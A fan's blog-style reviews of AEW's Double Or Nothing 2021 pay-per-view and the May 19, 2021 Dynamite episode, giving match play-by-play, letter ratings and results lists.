Double Or Nothing 2021
Date: May 30, 2021
Location: Daily’s Place, Jacksonville, Florida
Commentators: Tony Schiavone, Jim Ross, Excalibur

We return to pay per view and that is a nice feeling to have. The card is absolutely stacked and one of the biggest that AEW has had in recent or even long term memory. Possibly the most important story here is the fact that the fans are back in full capacity, meaning it will be even more energized than usual. Let’s get to it.

Buy-In Show: NWA Women’s Title: Riho vs. Serena Deeb

Deeb is defending and cranks on a headlock to start. That doesn’t last long as Riho bridges up and offers a handshake. Deeb slaps her in the face instead so Riho knocks her into the corner, setting up a high crossbody. Back up and the Serenity Lock is blocked so Deeb dragon screw legwhips her into the corner. The leg cranking begins before Deeb is sent out to the apron.

Riho charges into a choke, setting up an inverted Gory Special for a pretty cool visual. With that broken up, Riho knocks her off the top to set up a top rope double stomp. The leg is too banged up to cover so Riho grabs a headscissors into a 619 for two. Riho drapes her over the middle rope but the top rope stomp only hits apron.

Deeb is right back with a powerbomb for two but the Deebtox is countered with a backdrop. Riho snaps off a dragon suplex and hits another double stomp for two. A half crab has Riho in more trouble but she makes the rope. That’s enough for Deeb, who snaps off another dragon screw legwhip and grabs the Serenity Lock for the tap to retain at 14:03.

Rating: B. This was a very high energy opener and, in case they weren’t fired up enough already, got the crowd even more into things. Deeb felt like she was tested here and that’s how a hot title defense should feel. Riho losing isn’t going to hurt her and it does a lot for Riho, so well done all around with a heck of a warm up match.

Jim Ross gets his big introduction.

Hangman Page vs. Brian Cage

Taz is on commentary and Cage has I believe Terminator inspired gear. Page charges right at him to start hammering away but gets shoved off with raw power. What looked like a powerbomb is broken up and Page slugs away again, with Cage bailing to the floor. This time Page is right there with a big dive but Cage powerbombs him into the post.

Back in and a jumping knee rocks Page again and there’s a hard whip into the corner. A crucifix bomb gets two on Page but he ducks a clothesline. Page Cactus Clotheslines him out to the floor and pops back up for a middle rope moonsault to hit Cage again. Back in and Page snaps off a top rope hurricanrana for two but a superbomb is blocked.

A discus forearm gets two on Cage but Deadeye is countered as well. Cage puts him in a fireman’s carry and flips him into a hot shot (with one arm, because of course), setting up a superplex onto the apron. Back in and Cage tries his own Buckshot Lariat but slips a bit, allowing Page to hit an F5. The real Buckshot is countered into a German suplex and a discus lariat blasts Page again. A helicopter bomb gives Cage two and here is Team Taz. Hook distracts the referee so Ricky Starks can slide in the FTW Title. Cage tosses it right back and the Buckshot Lariat finishes Cage at 12:07.

Rating: B. This was a white hot opener as you had two guys in there giving it everything they had for a long time. Page is starting to have his head back on straight and if they keep going with this version for him, he’ll be the kind of challenger who could give Kenny Omega a lot of trouble. Cage having issues with Team Taz is interesting too, as a face Cage looks like a total monster. The crowd helped elevate this one too and it was an outstanding way to open things up.

Post match an annoyed Cage walks away from Team Taz.

We run down the rest of the card.

We recap the Young Bucks vs. Jon Moxley/Eddie Kingston. The Bucks have sided with Kenny Omega so Kingston and Moxley have come after them. This includes breaking a bunch of the Bucks’ stuff and stealing their shoes so it’s time for a title match.

Tag Team Titles: Young Bucks vs. Jon Moxley/Eddie Kingston

Kingston/Moxley are challenging and we get the full Major League Wild Thing intro through the crowd. Don Callis is here with the champs and joins commentary as is his custom. Believe it or not, it’s a brawl to start and they fight into the crowd with the Bucks being sent into a variety of hard objects. Cue Brandon Cutler with the cold spray to Nick, earning himself a clothesline/German suplex combination.

Nick comes back in to jump Kingston and the opening bell rings. Kingston backdrops Nick and a double clothesline puts him down again. Moxley comes in so Matt yells, allowing Moxley to do the fake tag to another big reaction. Kingston STO’s Nick for two but a Matt distraction allows a poke to the eye. Matt dropkicks Moxley through the ropes and it’s a Cannonball/enziguri combination to Kingston. A double back elbow lets Nick do the Macho Man finger point but Kingston catches him in a hot shot.

Matt sends Moxley into the barricade and some running clotheslines have Kingston knocked into the corner. Ten right hands go down but Kingston is back with an exploder suplex. That’s enough for the hot tag off to Moxley and house is cleaned, including a piledriver for two on Nick. Nick has to break up a bulldog choke as everything breaks down again. Cue the Good Brothers but Kingston takes down Doc Gallows and Frankie Kazarian jumps Karl Anderson.

Matt uses the distraction to take down Moxley with a can of cold spray to the head for two. Moxley is busted open and an Indytaker on the ramp knocks him silly again. Back in and Moxley gets kicked down as JR wants to know where the doctor is to look at the cut. The Bucks go Ax and Smash to demolish Moxley, who counters an attempt at a Shield powerbomb. Moxley hammers away and the hot tag brings in Kingston to clean house. Nick’s right hands to Kingston just make him glare back and knock him down without much trouble.

A shot to the knee works a bit better on Kingston and an assisted Sliced Bread gets two. Kingston fights over and makes the hot tag to Moxley, who is immediately superkicked down. A 450 gets two but Kingston is back in with one of the Bucks’ expensive shoes. The referee yells at Matt and it’s a Doomsday Device to Nick. The Paradigm Shift to Matt is countered into a Sharpshooter but that’s broken up as well.

Now the Paradigm Shift can connect with Nick making another diving save. Another double superkick to Moxley sends him into the ropes but he comes back with the double clothesline. The double superkick connects for two and a pair of superkicks (one to the knee and one to the face) drops Kingston. Back to back to back to back BTE Triggers drop Moxley to retain the titles at 21:09.

Rating: B. The energy stayed high here and the Young Bucks got to do their video game/all of the other wrestlers’ spots. That does work well now that they are full on heels, as you do want to see them get their heads knocked off. I’m not sure if I should be surprised by the result, but this very well might mean every champion on the roster is a villain, which is a little weird to see. Anyway, another awesome match to keep up the trend tonight.

Commentary goes over some substitutes in the Casino Battle Royal (QT Marshall/Blade out, Aaron Solow/Serpentico in) due to injuries.

Paul Wight comes out for commentary.

Casino Battle Royal

There are 21 entrants with four groups of five (designated by suits). One group enters every three minutes and then the Joker completes the field, with the winner getting a future World Title match. First up are the Clubs, with Christian Cage, Matt Sydal, Powerhouse Hobbs, Dustin Rhodes and Max Caster (who raps about some of the Clubs, including saying Cage hasn’t been cool since he had an edge).

The eliminations are teased to start with Caster saving himself. Sydal is tossed and Caster follows him out until the Diamonds come in. That would be Isaiah Kassidy, Matt Hardy, 10, Nick Commorado and Serpentico, with Kassidy and Hardy failing to jump 10 during his entrance. 10 comes in and starts wrecking people, including tossing Serpentico. Commorado runs 10 over but can only get him to the apron, allowing Dustin to toss both of them at once.

Hold on though as Commorado hits Dustin with the cowbell so Hobbs can get the elimination. Christian hits the Killswitch on Hobbs and we get the Christian vs. Hardy showdown. Here are the Hearts (Brian Pillman Jr., Griff Garrison, Colt Cabana, Anthony Bowens and Penta El Zero Miedo) are in with the Varsity Blondes getting to go nuts for a bit to a nice reaction.

Penta gets to clean house and Kassidy gets rid of Cabana. The Blondes toss Bowens and Hardy punches Garrison out as well. Commentary tries to figure out if Hobbs is still in (he seems to be) as it’s kind of hard to keep track of where everyone is given that some of them are on the floor. Pillman gets a rather strong response until the Spades (Jungle Boy, Marq Quen, Aaron Solow, Evil Uno and Lee Johnson) with Boy getting the big musical entrance….and Penta takes him down in a hurry.

Private Party gets rid of Pillman (in a rather lame exit after the reaction) and Johnson eliminates Solow, only to get taken out by Hardy. Penta kicks Uno out but gets taken out by Boy as Hobbs and Christian get back in. Hobbs misses a charge at Christian in the corner and gets tossed for a big elimination. Matt and Private Party stare down Boy and Christian and start the beatdown until…..Lio Rush is the Joker. That gives us a final grouping of Lio Rush, Matt Hardy, Isaiah Kassidy, Marq Quen, Christian Cage and Jungle Boy.

Rush gets to clean house but the springboard Stunner doesn’t quite work on Hardy. Everyone but Rush is knocked down so he goes after Private Party, who fight off an elimination with the Silly String. Rush tries to break that up but gets eliminated by Hardy in the process. Boy and Christian get back up to eliminate Quen and Kassidy, leaving us with the two of them and Hardy.

Matt tries to team up with Christian and gets eliminated as well, meaning we’re down to two. Boy manages to get underneath Christian but can’t quite get him out. Instead Boy is sent to the apron but pulls Christian out with him. A pendulum kick rocks Christian but he shoves Boy into the post….which Boy swings around and gets back in to kick Christian out for the win at 22:32.

Rating: C. I didn’t see this one coming but well done on the surprise winner. Boy is someone who has seemed ready to break through for a good while so it was great to see him doing something like this. They pulled the trigger here and while I’m not exactly buying Boy’s chances in the title match, it was a smart move here. Not much in the way of a battle royal leading up to it as the grouped entrances are still a little weird, but the ending worked.

Post match the rest of Jurassic Express comes out to celebrate with Boy and Christian shows respect.

Some soldiers who train dogs for former soldiers are here for a nice presentation.

We get a rather over the top video on the wonders of America, including quotes from generals and Presidents about how great of a country it is.

Anthony Ogogo vs. Cody Rhodes

QT Marshall and Arn Anderson are here too. Cody has new gear and hands his American weightlifting belt to a fan. Ogogo doesn’t waste time in hitting the body shot and grabs an Olympic Slam for two. Cody is right back with the powerslam but the ribs give out on the landing. Some knees to Ogogo’s also injured ribs and Cody goes American (Dragon) with Cattle Mutilation.

That’s broken up and Ogogo snaps off a German suplex for two. A running uppercut gets the same and Marshall adds a cheap shot for another near fall. Ogogo misses a running elbow but is fine enough to nail a spinebuster. Cody gets in a kick to the face though and Ogogo’s eye is busted open.

The Cody Cutter connects but Ogogo punches him off the top for the crash. Ogogo hits a frog splash for a delayed two but Cody is right back with a dropkick. The Figure Four goes on so Ogogo punches him in the face for two (while still in the hold). Cross Rhodes is broken up and a pair of right hands knock Cody down, though his hand is under the rope. The pop up right hand is countered though and Cody hits a Vertebreaker for the pin at 10:32.

Rating: C. Ogogo over performed but Cody winning was about the only possible outcome. They weren’t going to build him up as the American Dream for one night only and then have him lose the showdown. The American vs. England deal was pretty ridiculous and while Ogogo winning would have been too far, he shouldn’t have lost either. At least Cody’s all American gear was so over the top that it was goofy fun.

TNT Title: Miro vs. Lance Archer

Archer is challenging and there is no Jake Roberts thanks to Miro taking him out earlier this weekend. Rather than waiting around, Archer dives onto Miro on the ramp and the beating is on in a hurry. Old School gets two on Miro and they head outside with Archer spinebustering him through a table. Miro is back up and suplexes him over the barricade onto some fans.

Another toss sends Archer back to ringside and they head back inside. A crossbody runs Miro over but he nails a spinwheel kick. Miro kicks him in the chest but Archer is back up to plant him down for two. Archer misses the moonsault though and Miro kicks him in the head for another near fall.

Cue Jake Roberts with the snake bag but Miro kicks him down as well…..and throws the snake bag out to the floor. Archer cuts off a superkick to Jake with a chokeslam for two but Everybody Dies is broken up. Miro gets Pounced to the floor, only to get in a kick to the ropes for the low blow on the way back in. The jumping superkick sets up Game Over to retain the title at 10:46.

Rating: B-. It was a hoss fight, but I was expecting a bit more from these two. They beat each other up rather well and while the result wasn’t quite in doubt, it was a fun match. Maybe it was a bit too much waiting between spots or the Roberts stuff, but it was just a bit lacking given the hype they had set up.

All Out is in Chicago on September 5.

Women’s Title: Britt Baker vs. Hikaru Shida

Baker, with Rebel, is challenging. A very early Lockjaw attempt doesn’t work but neither does Shida’s knee to the face. They go to the mat with Shida grabbing a bodyscissors but Baker is back up with a hammerlock. Shida sends her into the corner to take it outside, setting up a high crossbody to take out Baker and Rebel. Back in and the running knee is countered with a kick to the face an Shida is in trouble for a change.

Lockjaw is blocked again so Baker grabs a suplex for two. Shida is right back with a bunch of strikes, including three straight running knees in the corner. A suplex of her own gives Shida two and an enziguri rocks Baker again. Baker is right back with a fisherman’s neckbreaker for two but Shida grabs a Stretch Muffler to send her to the ropes. Back up and Baker hits a Sling Blade into an Air Raid Crash for two.

Lockjaw is loaded up again but Baker kicks herself off the rope, allowing Shida to escape. A German suplex drops Baker and Shida takes her up top for a fireman’s carry but Baker slips off in a weird looking landing. Instead, Shida hits a superplex for two and the Stretch Muffler goes on again.

Rebel jumps up to the apron for a distraction but accidentally hits Baker to give Shida two. The Falcon Arrow gives Shida two so Rebel gets on the apron again, this time allowing Baker to hit a superkick. A Stomp onto the belt gets a very close two but Shida is back with the jumping knee. The running knee gets two but Baker crucifixes her into Lockjaw for the tap and the title at 16:22.

Rating: B. They did something impressive here by making me believe that Shida might sneak away with the title despite there being no reason to think that would be the case. Baker’s win is long, long overdue and it is great to see her finally get the championship. The fans LOVED her here and it makes all the sense in the world to do the title change. There is a good chance she is going to be turned by crowd reaction alone, though I don’t know how beneficial that would be. Still though, heck of a back and forth match with the only possible ending.

Tony Schiavone leaves commentary to hug Baker in a great moment.

Sting/Darby Allin vs. Ethan Page/Scorpio Sky

Sting and Allin get a special entrance video featuring them driving through the desert. Sting: “It’s showtime.” It’s a brawl to start before the match with Sky and Sting fighting up to the stage. Sky plants Sting down but Sting pops back up to send Sky down to ringside. That means Sting can hit the big dive onto both villains (because of course he can do that) and they head inside for the bell.

Allin starts in on Sky’s arm but Page breaks up a springboard to put Allin in trouble for the first time. Sky hits a backbreaker so Allin cranks on the wrist, only to get knocked right back down. Allin manages to flip out of a belly to back suplex and makes the hot tag to Sting…but the referee doesn’t see it. With Allin still banged up, Page LAUNCHES him from the ring over the barricade and onto Allin’s family in the big crash. Somehow Allin dives in to beat the count at nine and a choke has Page in trouble. Page drives him into the corner for the break so Allin is right back with the flipping Stunner.

NOW the hot tag brings Sting back in and it’s back to back Stinger Splashes. Something like a Code Red out of the corner gets two on Page so it’s back to Allin, who gets crotched on top. Page slams Allin down onto Sting but Sting sweeps the legs and puts on the Scorpion. That doesn’t count because Sting isn’t legal so Allin adds the Fujiwara armbar. Sky grabs a heel hook on Allin, so he and Page slap it out while both are in holds.

With that broken up, the double tag brings in Sting and Sky, with JR pointing out the similar motifs. Sting gets fired up but misses the Stinger Splash (with Sky having already made it to the apron before he even jumped). Not that it matters as Sting counters the slingshot cutter into the Death Drop finishes Sky at 14:05.

Rating: C. I love Sting but this is the second match in a row where he has beaten a team with some potential. I’m not sure when Sting is going to take a loss, but having Sky and Page lose here didn’t feel right. The match wasn’t exactly great either, though Sting did look a heck of a lot better than he did in any of his WWE matches. It’s still amazing to see how much they botched Sting, but he had a much better outing here.

We recap the World Title match with Kenny Omega defending the World Title against Pac and Orange Cassidy. After Excalibur explains the winning multiple World Titles in wrestling is like winning Olympic medals in multiple sports, we look at Pac and Cassidy going to a draw to become co-#1 contenders. Omega has tried to get Cassidy out of the match but the triple threat is on.

AEW World Title: Kenny Omega vs. Pac vs. Orange Cassidy

Omega is defending and Don Callis is on commentary again. Pac starts fast and Cassidy is knocked outside. A kick to the head staggers Omega but they collide for a double knockdown. Cassidy comes back in for a pair of lazy near falls and a double hurricanrana sends Pac outside. There’s the suicide dive to knock Pac into the barricade, setting up the springboard DDT for two on Omega.

The Orange Punch is broken up but Pac is back up to take Omega down. Pac shotgun dropkicks Cassidy into the corner and there’s another one to Omega. With Pac flipping back up, Omega catches him with the Regal Roll and knocks Cassidy off the corner as well. Omega sends Pac outside and hits a backbreaker for two on Cassidy. Pac starts fighting back but gets pulled to the floor, leaving Omega to baseball slide both of them.

A running flip dive puts Pac and Cassidy down again but Cassidy is back with the Stundog Millionaire. Cassidy and Omega go to a pinfall reversal sequence until Pac comes in with a 450 to break things up. Back to back snapdragons put the challengers down and it’s time for the V Triggers. Pac blocks another snapdragon so Omega hits a hard clothesline to cut him off again. Cassidy has to fight his way out of a super snapdragon and puts his hands in his pockets to save himself.

Pac is up for a German superplex to Omega but falls out to the floor. Omega hits a Tiger Driver 98 for two on Cassidy, followed by a German suplex for two on Pac. Some knees to the face rock Cassidy, who puts his hands in his pockets….and then falls down. Back up and Cassidy hits a Michinoku Driver on Omega but walks into a brainbuster to give Pac two. Omega catches Pac on top but gets countered into a sunset bomb. Pac’s superplex drops Omega again with Cassidy running in for the near fall.

Cassidy starts the slow motion kicks on Pac, who kicks him low. There’s the big dive onto Omega and the Black Arrow connects on Pac, with Omega having to dive in for a save (Callis going silent save for sighs of relief is a great addition). Another Black Arrow misses Omega but the One Winged Angle is countered into the Brutalizer. The Orange Punch hits Pac for the save and the Beach Break gets two on Omega.

Cassidy hits an Orange Punch each (Callis: “S***!”) and there’s a second to Pac, but Callis pulls the referee at two. Pac gets the Brutalizer on Cassidy but Omega knocks the referee down, setting up a pair of belt shots (with a different belt each). There’s a third belt shot but Omega wants the AEW World Title to knock Pac out again. Cassidy runs back in with the Orange Punch to Omega for two with a different referee counting…but Omega reverses into a crucifix to pin Cassidy and retain at 27:10.

Rating: B. They managed to make me believe in a title change that wasn’t going to happen here (that Black Arrow had me thinking something might happen). That is rather impressive given how one sided this should have been, though the match did go longer than it needed to go. They probably could have cut 5-10 minutes out and had a tighter match, but this was much more entertaining than I was expecting.

Full Gear is November 6 in St. Louis.

Tony Schiavone brings out the newest AEW analyst for Rampage: Mark Henry! That’s quite the surprise, though we won’t be hearing from him until Friday.

Inner Circle vs. Pinnacle

Stadium Stampede (no fans), Inner Circle has to split up if they lose and Pinnacle (or at leas MJF) arriving via stretch limousine. MJF rants about Inner Circle not being here due to fear…..and they repel down the video screen (you can almost see MJF gulp). The chase is on with MJF hiding in the limo as the rest of the Pinnacle arrives in FTR’s truck to start the fight. Sammy Guevara and Shawn Spears fight into the ring, with Sammy hitting a springboard cutter. After kicking Wardlow down, Sammy misses a shooting star press.

MJF finally gets out of the limo but Chris Jericho is waiting on him. The slugout it on but MJF sprays him with a well hidden fire extinguisher before running off the field. Jericho follows him to keep up the beating, including putting a trashcan on MJF’s head. MJF throws coffee into his eyes and hits him with a phone but Jericho screams at him with a bullhorn. Said bullhorn is tossed at MJF and hits him in the back of the head, which thankfully doesn’t do a lot of damage.

They fight into an office….where Jacksonville Jaguars head coach Urban Meyer and assistant coach Charlie Strong are working on plays. Jericho throws some footballs at MJF and then throws him out, with Meyer saying “holy s***”. MJF FINALLY gets smart by going after the really big brace on Jericho’s arm, including flipping a white board into it.

We actually cut to someone else, as Wardlow powers Jake Hager around but can’t lock him in a freezer. They fight into it instead (with a cut up pig hanging from the ceiling) and Wardlow grabs an icicle. That doesn’t last long and they head back into what looks like a storage area, with Hager being sent into a rolling steel cabinet. Hager flips him off so Wardlow spears him through a wall and into a kitchen.

We cut to Sammy Guevara searching for Shawn Spears and finding him sitting in a chair (with hundreds of chairs in storage around him). The chair duel is on before heading back into a hallway. Sammy runs up a wall and backflips to his feet, setting up a kick to Spears’ head. Spears launches Guevara into a steel door though and grabs a chair. That takes way too long though and Sammy hits a running knee.

Spears sends him into a scissor lift and grabs a cable, only to get choked by Sammy’s cable. Sammy climbs up onto some scaffolding but has to drop back down, allowing Spears to hit him in the face with a ladder. With Sammy down, Spears handcuffs him to the structure and says Sammy is done.

Sammy sees some bolt cutters but we cut to a bar where Santana/Ortiz find FTR/Tully Blanchard. Some drinks are shared but DJ Konnan plays some music to start the fighting. Konnan hands Santana something to hit FTR with and we actually get a near fall on Dax Harwood. Cash Wheeler throws beer bottles at Ortiz but Santana comes back up and they fight into an elevator.

With the door closed, we cut back to Wardlow almost dropping a wooden pallet onto Hager. They fight on top of a golf cart and Hager chokeslams him through something made of wood. It’s back to MJF vs. Jericho, with MJF accidentally punching a cutout of Shad Khan (Tony’s dad). Jericho says he is in so much trouble and then hits him with the cutout. After rubbing off cardboard Khan’s head it’s time to go into a conference room, where Jericho staples a Jaguars paper to MJF’s head.

Then he rips it off and throws MJF over the conference table, where MJF hits him in the face. A piledriver onto the table gets two and MJF grabs a hammer. Jericho hits him with a trashcan though….and finds a well placed Floyd the Baseball Bat. After some choking, Jericho sends him face first through a glass window. MJF is busted open (Tony: “Good!”) and we cut to Spears looking for Tully Blanchard. Instead he finds the Inner Circle motorcycle club, who chase him down a hall.

Back to Jericho dragging MJF into Daily’s Place, with MJF getting crotched on a handrail. Jericho powerbombs him through a table (Tony: “DO IT AGAIN!”) and we cut to Spears running outside….where Sammy chases him down with a golf cart. The cart drives Spears into the arena and they head into the ring. Spears chairs him out of the air to break up a springboard and a hard chair shot gets two. The chair is wedged into the corner but Guevara comes back with the GTH. Sammy kicks Spears head first into a chair and it’s the 630 to give Sammy the pin at 32:26.

Rating: B+. They completely got me with the result as I would not have bet on Inner Circle winning whatsoever. Sammy getting the win was absolutely the right call as you can do Jericho vs. MJF in a singles match at some point in the future. Guevara is one of the true bright stars waiting to break out and it makes all the sense in the world to give him the big moment.

That being said, I liked last year’s version a good bit more, as this felt like a series of segments rather than one match going on. It was like a bunch of stuff loosely tied together under the same title, with some people just disappearing for 10+ minutes at a time (Santana/Ortiz/FTR were only involved for about five minutes total). They really needed to organize this better and it would have been a much more entertaining deal.

The biggest thing I can give this though is that it is creative. One of the places where AEW really shines is thinking outside of the box and that is what they did here. Stuff like the cameos were great for surprise moments and it felt like they used the atmosphere to their advantage. It isn’t as good as the original, but this felt big and the ending actually shocked me so they did a lot right.

The Inner Circle celebrates for a long time to end the show.

Overall Rating: A-. This felt like an AEW pay per view as there is nothing close to bad on the whole show and some stuff on here is very good. The atmosphere helped it a lot, though you could feel some of the energy going away as the night went on (fair enough). It’s another great show and while they could have trimmed a bit here or there, it is probably the show of the year so far. AEW continues to be nearly perfect at these things and it more than lived up to my expectations.

Results

Hangman Page b. Brian Cage – Buckshot Lariat

Young Bucks b. Jon Moxley/Eddie Kingston – BTE Trigger to Moxley

Jungle Boy won the Casino Battle Royal last eliminating Christian Cage

Cody Rhodes b. Anthony Ogogo – Vertebreaker

Miro b. Lance Archer – Game Over

Britt Baker b. Hikaru Shida – Lockjaw

Sting/Darby Allin b. Ethan Page/Scorpio Sky – Death Drop to Sky

Kenny Omega b. Orange Cassidy and Pac – Crucifix to Cassidy

Inner Circle b. Pinnacle – 630 to Spears

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Dynamite
Date: May 19, 2021
Location: Daily’s Place, Jacksonville, Florida
Commentators: Excalibur, Jim Ross, Tony Schiavone

We have two shows left before Double Or Nothing and that means it is time to start hammering home the card. This time around we have a Tag Team Title match with the Varsity Blonds challenging the Young Bucks. Other than that, we are likely getting some more matches set for the pay per view. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Christian Cage vs. Matt Sydal

Taz is on commentary and it’s a feeling out process to start, with Sydal’s grab of a leg being reversed into a headlock. Sydal slips out for a standoff but gets sent outside for a crash. Back in and a backbreaker sets up a top rope elbow to the face for two on Sydal. There’s a headbutt to the back and a stomp to make it worse, as Christian is wrestling a bit more villainish here.

Another backbreaker is countered with a headscissors though and Sydal’s jumping spinning kick to the face gives him a breather. The Meteora gives Sydal two and there’s a clothesline for the same. Christian misses a charge and gets taken down with a spinwheel kick to the face, followed by a running knee in the corner. Christian’s spear is countered into a sunset flip for two and he misses a high crossbody as well. Now the spear can connect for two but Sydal pulls the knee out. A backsplash hits knees though and the Killswitch finishes Sydal at 9:15.

Rating: C+. I’m not a big Sydal fan but he was making it work here with Christian looking better than he has so far in AEW. I’m curious to see him being more aggressive, as it certainly seemed to suit him better. Christian still isn’t the star he was before, but he can still do things like this well enough.

Post match Taz yells at Christian but here is Ricky Starks to interrupt. Starks is his own man and he is right here. He isn’t going to be on the sidelines like these flunkies, so he and Christian have some business to handle. Cue Team Taz to jump Christian and Sydal for the beatdown. Hangman Page comes in to go after Cage, but Hook gets in a chop block. Cage powerbombs Page down hard.

Here’s what’s coming tonight.

The Varsity Blonds talk about Brian Pillman, who was not Brian Pillman Jr.’s inspiration to get into the business. All he knew was the dark side of the ring, but then he was inspired by the Young Bucks. Griff Garrison talks about running the Young Bucks’ merchandise table at an independent show, but the Bucks of today are not the Bucks of those days.

Jon Moxley and Eddie Kingston aren’t sure about what they’re facing with the Acclaimed (Kingston: “One’s a rapper, the other is the rapper’s friend.”). They also don’t get why they’re going to a superkick party when neither of them throw superkicks. Oh well. They’ll just beat up the Acclaimed.

The Acclaimed promises to stomp Moxley and Kingston’s a**** and that is a mic drop.

Jon Moxley/Eddie Kingston vs. Acclaimed

Moxley and Kingston come out to the Major League version of Wild Thing, because AEW thinks Cleveland and Cincinnati are close enough. Caster says that Kingston looks like a pack of Newports and Moxley’s wife is trying to get him for an oral session (Caster: “What? She just wants me to be on the podcast!”). Moxley knocks Caster silly with a right hand and we start with a double shoulder to put Caster down again.

Kingston plants with an STO but gets caught with a super dragon screw legwhip as we take a break. Back with Kingston getting over for the hot tag to Moxley to clean house, but he gets caught in a suplex/high crossbody combination. Kingston makes the save and sends Bowens into the barricade but Moxley gets sent outside as well. Caster throws Bowens the chain for a distraction so he can bring in the boom box. Moxley breaks that up though and hits Caster with the boom box instead, setting up a wheelbarrow into a Paradigm Shift for the pin at 10:25.

Rating: C. This was a way to get Moxley and Kingston a win over a name team before they get their title shot. There is nothing wrong with building a team up, even if the Acclaimed is better known for their talking. Moxley and Kingston are turning into a pretty good team in the ring and their showdown with the Bucks very well could steal Double Or Nothing.

Chris Jericho and Dean Malenko reminisce about the number of holds they know.

Scorpio Sky and Ethan Page are in the ring to talk about Sting. Sky always wanted to be like Sting, but then he grew up and is now a grown man. Sting isn’t the man he used to be and now Sky is his own man. Page talks about Darby Allin loses and promises to be the nail in his coffin. Cue Sting and Allin to clean house, including Allin with some skateboard shots. The Scorpion Deathlock goes on but Page gets away, only to have the Dark Order cut off….well some of their exits at least.

The Pinnacle is at a nice dinner with MJF talking about how unfunny Chris Jericho is. Dax Wilder goes on a rant about how they have to deal with Jericho even after thirty years. Last year’s Stadium Stampede was a dog and pony show but this year it’s going to be serious. Shawn Spears attacks a waiter for making a mistake and smashes a bottle, so Tully Blanchard throws him some money. MJF says if the Inner Circle agrees to Stadium Stampede, it will be their last match, because when you’re in the Pinnacle, you’re always on top.

Hikaru Shida vs. Rebel

Non-title and Britt Baker is here as well. Rebel fakes an early injury but then snaps off some jumping jacks. Shida doesn’t take kindly to her dancing and puts on her own glove before trying the Lockjaw. Baker grabs the Women’s Title, allowing Rebel to hit Shida in the back with a crutch. A toss suplex gets two on Shida but she is right back with a knee breaker. The Stretch Muffler makes Rebel tap at 2:01.

Post match Baker comes in and drops Shida onto the belt.

Last week, Kenny Omega and Don Callis came in to see Orange Cassidy in the trainer’s room after he got dropped on his head. They need Cassidy to be the AEW mascot instead of challenging him for the title, so they have a contract for him to sign, saying that he can have his match later when he is a little healthier. Cassidy doesn’t even look at it and rips it up (rather slowly). Omega talks about how bad it could be if Cassidy takes the One Winged Angel and they offer him another copy of the same deal, which he can think about.

Here is the Inner Circle to respond to the Pinnacle. work with just about anyone.

Pac is glad to have his title shot because there is nothing Don Callis or Kenny Omega can do about it. Who is betting against him now?

Anthony Ogogo vs. Austin Gunn

A bunch of people, including an American flag clad Cody Rhodes, is here. Gunn dropkicks him down at the bell and Ogogo is starting to protect his bad eye. A gut shot puts Austin down and he is in big trouble. Back up and Ogogo does it again, meaning Gunn has to stop the referee from calling for the bell. Gunn is bleeding from the mouth and a pop up right hand knocks him silly for the knockout at 2:15. More baby steps for Ogogo and that’s a wise way to go.

Post match Ogogo grabs Cody’s American flag and throws it away, which is too far for Cody.

Christopher Daniels won’t say anything about SCU splitting up last week. Daniels whispers something to Kazarian and walks away. Kazarian says he can’t explain what Daniels means to him, but Kazarian knows what is next. Last week, he lost something very important to him and he blames the Elite for what happened. He is hunting them down and he is a bomb you cannot defuse and a gun you cannot unload. Kazarian as a singles star is an intriguing way to go.

Here is Miro for a chat. He thanks Jesus Christ for giving him the talent to hurt people, like he did to Darby Allin last week. Miro took what Allin said could not be taken and now everyone knows that it doesn’t matter who you are. If you have what he wants, it’s done. The fans want Allin, so Miro holds up the title and says here he is. Next week, he’ll be defending the title against someone and will destroy him on his way to Double Or Nothing.

Cue Lance Archer, who says he has been the beast of AEW since Miro was trying to get a day to himself. Last year he lost in the first ever TNT Title match, so nothing is stopping him from winning at Double Or Nothing. Miro is going to be his Bulgarian b****, which Miro says he has never heard before. As Archer has said, everyone dies, but Miro is going to make sure Archer dies first. Miro was showing the fire here like he has yet to do in AEW.

Here’s what’s coming next week, with Dante Martin getting the TNT Title shot. We are also getting a celebration of the Inner Circle’s greatest moments, plus Jade Cargill’s open challenge (Since EVERY SHOW NEEDS AN OPEN CHALLENGE THESE DAYS!).

At Double Or Nothing: Sting/Darby Allin vs. Ethan Page/Scorpio Sky.

Tag Team Titles: Young Bucks vs. Varsity Blonds

The Bucks are defending, Julia Hart is here with the Blonds and Don Callis is on commentary. Garrison and Nick run the ropes until a boot to the face drops Nick in a hurry. Matt comes in and gets one of his own, allowing Pillman to come in for some stereo dropkicks to the champs. We settle back down to Pillman armdragging Nick and working on the arm but Nick gets over for the hot tag to Matt.

That means Pillman gets sent outside for a crash onto the ramp, leaving Nick to walk the ropes and jump down onto him. A neck snap across the top rope has Pillman down again and we take a break. Back with Pillman hitting a crossbody and getting over for the hot tag to Garrison. House is cleaned in a hurry and Garrison hits a slingshot crossbody onto both champs. It’s back to Pillman, who gets suplexed down so Nick can dive onto Garrison.

Some kicks to the back keep Pillman in trouble but he sends Nick’s kick into Matt and hits a superkick of his own. Matt is right back with the Sharpshooter and Nick adds the cold spray to the eyes. Garrison makes the save but Nick hits a couple of superkicks. Matt gets another can of spray but Hart calls him out for it. That’s fine with Matt, who has a third can to spray her as well. The Sharpshooter goes on and Nick adds the slingshot X Factor to knock Pillman silly. Pillman taps at 11:55.

Rating: B-. I like the Blonds more each time I see them but there was never a bit of drama here. As usual, this was the Young Bucks Show as they are smarter than anyone they face, which goes along with being more athletic because we need to be reminded of how great they are every chance we have.

Post match here are Jon Moxley and Eddie Kingston to choke out the Bucks and steal their expensive shoes. And the socks too!

We run down the Double Or Nothing card, with Tony making it clear that Sting/Allin vs. Page/Sky will NOT be a cinematic match. Also, Moxley/Kingston are now the #1 contenders and get their title shot.

Overall Rating: B. This was a promo heavy show and that’s what mattered most here. Since this is the last regularly scheduled Dynamite before the pay per view, they had to rush the build this week and get things ready for Double Or Nothing. That worked out rather well as I’m a good bit more interested in seeing the show than I was coming in. The wrestling here was good to quite good, but this was all about the talking and they were feeling it this week.

Results

Christian Cage b. Matt Sydal – Killswitch

Jon Moxley/Eddie Kingston b. The Acclaimed – Wheelbarrow Paradigm Shift to Caster

Hikaru Shida b. Rebel – Stretch Muffler

Serena Deeb b. Red Velvet – Serenity Lock

Anthony Ogogo b. Austin Gunn via referee stoppage

Young Bucks b. Varsity Blonds – Sharpshooter to Pillman

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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AND

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Dynamite
Date: April 21, 2021
Location: Daily’s Place Jacksonville, Florida
